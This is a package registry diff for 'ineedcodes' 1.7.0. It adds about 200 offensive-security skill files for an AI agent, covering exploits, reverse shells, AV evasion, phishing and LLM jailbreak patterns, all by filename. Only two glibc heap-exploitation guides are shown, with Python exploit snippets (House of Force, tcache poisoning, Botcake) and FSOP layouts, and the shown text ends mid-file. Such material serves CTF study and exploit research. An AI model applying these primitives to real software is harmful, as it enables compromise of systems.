ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,244 @@
|
|
|
1
|
+
# House of Techniques — Named Heap Exploitation Methods
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need specific named heap exploitation techniques (House of Force/Spirit/Lore/Orange/Einherjar/Roman/Pig/Banana/Cat/Apple) or tcache-specific attacks (Botcake, stashing unlink). Assumes the main [SKILL.md](./SKILL.md) is already loaded for ptmalloc2 fundamentals and glibc version constraints.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. HOUSE OF FORCE
|
|
8
|
+
|
|
9
|
+
**Overwrite top chunk size → control next allocation address.**
|
|
10
|
+
|
|
11
|
+
| Aspect | Detail |
|
|
12
|
+
|---|---|
|
|
13
|
+
| Primitive needed | Overflow into top chunk size field |
|
|
14
|
+
| Glibc constraint | < 2.29 (2.29 adds top chunk size validation) |
|
|
15
|
+
| Mechanism | Set top chunk size to `0xffffffffffffffff`, then request `target_addr - top_addr - 0x20` bytes → next malloc returns near target |
|
|
16
|
+
|
|
17
|
+
```python
|
|
18
|
+
# Overwrite top chunk size to -1
|
|
19
|
+
edit(top_adjacent_chunk, b'A' * data_size + p64(0) + p64(0xffffffffffffffff))
|
|
20
|
+
# Calculate evil size
|
|
21
|
+
evil_size = target_addr - (top_chunk_addr + 0x10) - 0x10
|
|
22
|
+
malloc(evil_size) # consume top chunk up to target
|
|
23
|
+
ptr = malloc(0x10) # this allocation lands at target_addr
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 2. HOUSE OF SPIRIT
|
|
29
|
+
|
|
30
|
+
**Forge a fake chunk header → free it → allocate at fake location.**
|
|
31
|
+
|
|
32
|
+
| Aspect | Detail |
|
|
33
|
+
|---|---|
|
|
34
|
+
| Primitive needed | Write at least 16 bytes at target (fake chunk header) |
|
|
35
|
+
| Target | Get fastbin/tcache allocation at stack/BSS/anywhere |
|
|
36
|
+
| Mechanism | Craft fake `size` field (matching fastbin/tcache range), ensure next chunk's size is valid, free the fake chunk |
|
|
37
|
+
|
|
38
|
+
```python
|
|
39
|
+
# Stack layout: forge fake chunk
|
|
40
|
+
fake_chunk = target_addr - 0x10
|
|
41
|
+
# At fake_chunk+0x8: size = 0x41 (fastbin 0x40)
|
|
42
|
+
# At fake_chunk+0x48: next_chunk_size = 0x21 (valid, > 0x10, < av->system_mem)
|
|
43
|
+
free(fake_chunk + 0x10) # free the "user data" pointer
|
|
44
|
+
ptr = malloc(0x30) # returns fake_chunk + 0x10 = target_addr
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
**tcache variant (glibc ≥ 2.26)**: No next-chunk size validation needed. Only need valid `size` field matching tcache bin index.
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## 3. HOUSE OF LORE
|
|
52
|
+
|
|
53
|
+
**Forge fake smallbin chunk → get allocation at arbitrary address.**
|
|
54
|
+
|
|
55
|
+
| Aspect | Detail |
|
|
56
|
+
|---|---|
|
|
57
|
+
| Primitive needed | Heap write to corrupt smallbin bk pointer |
|
|
58
|
+
| Mechanism | Insert fake chunk into smallbin via bk corruption → `malloc` returns fake chunk |
|
|
59
|
+
| Checks to satisfy | `victim->bk->fd == victim` (doubly linked list integrity) |
|
|
60
|
+
|
|
61
|
+
Requires crafting a fake chunk where `fake->fd = smallbin_head` to pass the check.
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## 4. HOUSE OF ORANGE
|
|
66
|
+
|
|
67
|
+
**No `free()` needed → get shell via _IO_FILE.**
|
|
68
|
+
|
|
69
|
+
| Aspect | Detail |
|
|
70
|
+
|---|---|
|
|
71
|
+
| Primitive needed | Heap overflow to corrupt top chunk size |
|
|
72
|
+
| Glibc constraint | Works on 2.23; vtable check added in 2.24 (needs bypass); fully blocked in later versions without _IO_str_jumps trick |
|
|
73
|
+
| Mechanism | Shrink top chunk size → next large malloc triggers `sysmalloc` → old top freed into unsortedbin → unsortedbin attack writes `_IO_list_all` → trigger `_IO_flush_all_lockp` via abort/exit |
|
|
74
|
+
|
|
75
|
+
### Attack Flow
|
|
76
|
+
|
|
77
|
+
1. Overflow: corrupt top chunk size to small valid value (page-aligned, PREV_INUSE set)
|
|
78
|
+
2. Large malloc: triggers `sysmalloc`, old top chunk freed into unsortedbin
|
|
79
|
+
3. Unsortedbin attack: corrupt unsortedbin chunk's bk to `_IO_list_all - 0x10`
|
|
80
|
+
4. Next malloc (smallbin size): unsortedbin → smallbin sorting writes `main_arena+0x68` to `_IO_list_all`
|
|
81
|
+
5. `_IO_list_all` now points to `main_arena+0x68`, which overlaps with smallbin[5]
|
|
82
|
+
6. Forge fake _IO_FILE at that smallbin entry with vtable pointing to controlled memory
|
|
83
|
+
7. Trigger: malloc error → `_IO_flush_all_lockp` → calls `_IO_OVERFLOW` on fake FILE → shell
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## 5. HOUSE OF EINHERJAR
|
|
88
|
+
|
|
89
|
+
**Off-by-null byte → backward consolidation → overlapping chunks.**
|
|
90
|
+
|
|
91
|
+
| Aspect | Detail |
|
|
92
|
+
|---|---|
|
|
93
|
+
| Primitive needed | Null byte overflow (off-by-one with `\x00`) |
|
|
94
|
+
| Mechanism | Clear PREV_INUSE bit of next chunk → set fake `prev_size` → `free` triggers backward consolidation with a fake previous chunk |
|
|
95
|
+
|
|
96
|
+
### Steps
|
|
97
|
+
|
|
98
|
+
1. Allocate A, B, C (B is the overflow target)
|
|
99
|
+
2. Overflow from A: null byte into B's size field → clears PREV_INUSE of B
|
|
100
|
+
3. Forge `prev_size` in B to point back to a fake/controlled chunk
|
|
101
|
+
4. Free B: backward consolidation merges B with the "previous" chunk → overlapping region
|
|
102
|
+
5. Allocate into the overlapping region → control C's metadata
|
|
103
|
+
|
|
104
|
+
**glibc ≥ 2.29**: Added `prev_size == chunk_size(prev)` check → need to ensure fake prev chunk has matching size.
|
|
105
|
+
|
|
106
|
+
---
|
|
107
|
+
|
|
108
|
+
## 6. HOUSE OF ROMAN
|
|
109
|
+
|
|
110
|
+
**Partial overwrite without any leak → get shell.**
|
|
111
|
+
|
|
112
|
+
| Aspect | Detail |
|
|
113
|
+
|---|---|
|
|
114
|
+
| Primitive needed | UAF + fastbin dup or heap overflow |
|
|
115
|
+
| Special | Works without libc or heap leak (12-bit brute-force = 1/4096) |
|
|
116
|
+
| Mechanism | Partial overwrite fastbin fd to point near `__malloc_hook`, overwrite hook with one_gadget via partial overwrite |
|
|
117
|
+
|
|
118
|
+
Combines three partial overwrites:
|
|
119
|
+
1. Fastbin fd → near `__malloc_hook` (partial overwrite)
|
|
120
|
+
2. Unsortedbin attack → write near `__malloc_hook` area
|
|
121
|
+
3. Overwrite `__malloc_hook` with one_gadget (partial overwrite, 4-bit guess)
|
|
122
|
+
|
|
123
|
+
Success rate: ~1/4096 per attempt.
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## 7. HOUSE OF PIG
|
|
128
|
+
|
|
129
|
+
**Largebin attack + _IO_FILE + tcache stashing unlink.**
|
|
130
|
+
|
|
131
|
+
| Aspect | Detail |
|
|
132
|
+
|---|---|
|
|
133
|
+
| Glibc target | 2.31+ (post-tcache key) |
|
|
134
|
+
| Mechanism | Largebin attack writes heap address to `_IO_list_all`, forge _IO_FILE to call `_IO_str_overflow` which triggers `malloc` → tcache stashing unlink for arbitrary write → overwrite `__free_hook` |
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## 8. HOUSE OF BANANA
|
|
139
|
+
|
|
140
|
+
**Manipulate `_rtld_global` (ld.so) for code execution during exit.**
|
|
141
|
+
|
|
142
|
+
| Aspect | Detail |
|
|
143
|
+
|---|---|
|
|
144
|
+
| Target | `_rtld_global._dl_ns[0]._ns_loaded->l_next->...->l_info[DT_FINI_ARRAY]` |
|
|
145
|
+
| Mechanism | Corrupt link_map chain → during `_dl_fini` (called by exit), fake `DT_FINI_ARRAY` entries are called |
|
|
146
|
+
| Advantage | Bypasses `_IO_FILE` vtable range checks |
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
## 9. HOUSE OF CAT
|
|
151
|
+
|
|
152
|
+
**`_IO_wfile_jumps` exploitation.**
|
|
153
|
+
|
|
154
|
+
| Aspect | Detail |
|
|
155
|
+
|---|---|
|
|
156
|
+
| Glibc target | ≥ 2.35 (bypasses vtable range check via wide-char vtable) |
|
|
157
|
+
| Mechanism | `_IO_wfile_seekoff` → `_IO_switch_to_wget_mode` → calls through `_wide_data->_wide_vtable->_IO_wfile_overflow` |
|
|
158
|
+
| Key | Forge `_wide_data` structure with controlled `_wide_vtable` pointing outside the vtable range check |
|
|
159
|
+
|
|
160
|
+
### Constraints for Trigger
|
|
161
|
+
|
|
162
|
+
```c
|
|
163
|
+
// Must satisfy:
|
|
164
|
+
fp->_mode > 0 // or fp->_IO_write_ptr > fp->_IO_write_base
|
|
165
|
+
fp->_wide_data != NULL
|
|
166
|
+
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
## 10. HOUSE OF APPLE (1, 2, 3)
|
|
172
|
+
|
|
173
|
+
### House of Apple 1: stdout Leak
|
|
174
|
+
|
|
175
|
+
Corrupt `_IO_2_1_stdout_` via largebin attack → arbitrary memory leak.
|
|
176
|
+
|
|
177
|
+
### House of Apple 2: _IO_wfile_jumps Chain
|
|
178
|
+
|
|
179
|
+
| Step | Action |
|
|
180
|
+
|---|---|
|
|
181
|
+
| 1 | Largebin attack: write heap addr to `_IO_list_all` (or stderr/stdout pointer) |
|
|
182
|
+
| 2 | Forge `_IO_FILE` with `_wide_data` pointing to controlled area |
|
|
183
|
+
| 3 | Set `_wide_data->_wide_vtable` to `_IO_wfile_jumps - 0x20` (or similar offset) |
|
|
184
|
+
| 4 | Trigger `_IO_flush_all_lockp` (exit/abort) → `_IO_wfile_overflow` → controlled call |
|
|
185
|
+
|
|
186
|
+
### House of Apple 3: _IO_wstrn_jumps
|
|
187
|
+
|
|
188
|
+
Uses `_IO_wstrn_overflow` to achieve arbitrary write during FILE flush, then chains to `_IO_wfile_jumps` for RCE.
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## 11. TCACHE-SPECIFIC ATTACKS
|
|
193
|
+
|
|
194
|
+
### Tcache Poisoning
|
|
195
|
+
|
|
196
|
+
```python
|
|
197
|
+
# Direct fd overwrite (glibc < 2.32)
|
|
198
|
+
free(A) # A enters tcache
|
|
199
|
+
edit(A, p64(target)) # overwrite A->fd = target
|
|
200
|
+
malloc(size) # returns A
|
|
201
|
+
malloc(size) # returns target
|
|
202
|
+
|
|
203
|
+
# Safe-linking version (glibc >= 2.32)
|
|
204
|
+
free(A)
|
|
205
|
+
edit(A, p64((heap_base >> 12) ^ target)) # encode with PROTECT_PTR
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
### Tcache Key Bypass (glibc 2.29+)
|
|
209
|
+
|
|
210
|
+
```python
|
|
211
|
+
# tcache key stored at chunk+0x18 (in user data area after fd)
|
|
212
|
+
free(A)
|
|
213
|
+
edit(A, p64(0) + p64(0)) # clear fd and key
|
|
214
|
+
free(A) # double free succeeds (key != tcache_perthread)
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
### House of Botcake
|
|
218
|
+
|
|
219
|
+
```python
|
|
220
|
+
# Double free: one copy in unsortedbin, one in tcache
|
|
221
|
+
fill_tcache(7) # fill tcache bin
|
|
222
|
+
free(A) # A → unsortedbin
|
|
223
|
+
free(B) # B → unsortedbin (B adjacent to A, consolidates)
|
|
224
|
+
drain_tcache(1) # make room in tcache
|
|
225
|
+
free(A) # A → tcache (A is now in both unsortedbin-merged-chunk and tcache)
|
|
226
|
+
# Overlapping: allocate from unsortedbin → overlaps A in tcache → control A's fd
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
### Tcache Stashing Unlink
|
|
230
|
+
|
|
231
|
+
When smallbin has chunks and tcache has room, `malloc` from smallbin triggers refill: remaining smallbin chunks are moved to tcache. By corrupting smallbin `bk`, this refill writes controlled addresses into tcache.
|
|
232
|
+
|
|
233
|
+
---
|
|
234
|
+
|
|
235
|
+
## 12. TECHNIQUE SELECTION MATRIX
|
|
236
|
+
|
|
237
|
+
| glibc | No Free | No Leak | Hooks Available | Best Approach |
|
|
238
|
+
|---|---|---|---|---|
|
|
239
|
+
| < 2.26 | House of Orange | House of Roman | Yes | Orange → unsortedbin attack → __malloc_hook |
|
|
240
|
+
| 2.26–2.28 | House of Orange variant | House of Roman | Yes | Tcache poisoning + hook overwrite |
|
|
241
|
+
| 2.29–2.31 | Needs adaptation | Botcake / Roman | Yes | Botcake → hook or IO_FILE |
|
|
242
|
+
| 2.32–2.33 | Needs adaptation | Needs heap leak | Yes | Safe-linking aware tcache poison |
|
|
243
|
+
| ≥ 2.34 | House of Apple/Cat | Needs heap+libc leak | **No** | Largebin attack + House of Apple 2/Cat |
|
|
244
|
+
| ≥ 2.35 | House of Cat | Needs both leaks | **No** | House of Cat (_IO_wfile_jumps) |
|
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
# _IO_FILE Exploitation — FSOP, Vtable Hijack, stdout/stdin Abuse
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when exploiting glibc _IO_FILE structures for leak or code execution. Covers FSOP, vtable hijack (pre/post 2.24), _IO_str_jumps, _IO_wstr_jumps, stdout arbitrary read, stdin arbitrary write, and exit flow exploitation. Assumes [SKILL.md](./SKILL.md) is loaded for heap fundamentals.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. _IO_FILE STRUCTURE LAYOUT (64-bit)
|
|
8
|
+
|
|
9
|
+
```c
|
|
10
|
+
struct _IO_FILE_plus {
|
|
11
|
+
_IO_FILE file; // 0x0 - 0xc0
|
|
12
|
+
const struct _IO_jump_t *vtable; // 0xd8
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
// Key fields at specific offsets:
|
|
16
|
+
// 0x00: _flags
|
|
17
|
+
// 0x08: _IO_read_ptr
|
|
18
|
+
// 0x10: _IO_read_end
|
|
19
|
+
// 0x18: _IO_read_base
|
|
20
|
+
// 0x20: _IO_write_base ← for stdout leak: set this to target
|
|
21
|
+
// 0x28: _IO_write_ptr ← must be > _IO_write_base
|
|
22
|
+
// 0x30: _IO_write_end
|
|
23
|
+
// 0x38: _IO_buf_base
|
|
24
|
+
// 0x40: _IO_buf_end
|
|
25
|
+
// 0x68: _chain ← linked list to next FILE
|
|
26
|
+
// 0x70: _fileno ← file descriptor number
|
|
27
|
+
// 0x88: _lock ← must point to valid (writable NULL) lock
|
|
28
|
+
// 0xc0: _mode ← 0 for byte mode, >0 for wide
|
|
29
|
+
// 0xd8: vtable ← _IO_jump_t pointer
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## 2. FSOP — FILE STREAM ORIENTED PROGRAMMING
|
|
35
|
+
|
|
36
|
+
**Overwrite `_IO_list_all` to insert a fake _IO_FILE, trigger flush → controlled vtable call.**
|
|
37
|
+
|
|
38
|
+
### Trigger Conditions
|
|
39
|
+
|
|
40
|
+
`_IO_flush_all_lockp` is called automatically during:
|
|
41
|
+
1. `exit()` → `__run_exit_handlers` → `_IO_cleanup` → `_IO_flush_all_lockp`
|
|
42
|
+
2. `abort()` (triggered by malloc corruption detection)
|
|
43
|
+
3. Return from `main()`
|
|
44
|
+
|
|
45
|
+
### Flush Condition per FILE
|
|
46
|
+
|
|
47
|
+
```c
|
|
48
|
+
if ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|
|
49
|
+
|| (fp->_mode > 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
|
|
50
|
+
{
|
|
51
|
+
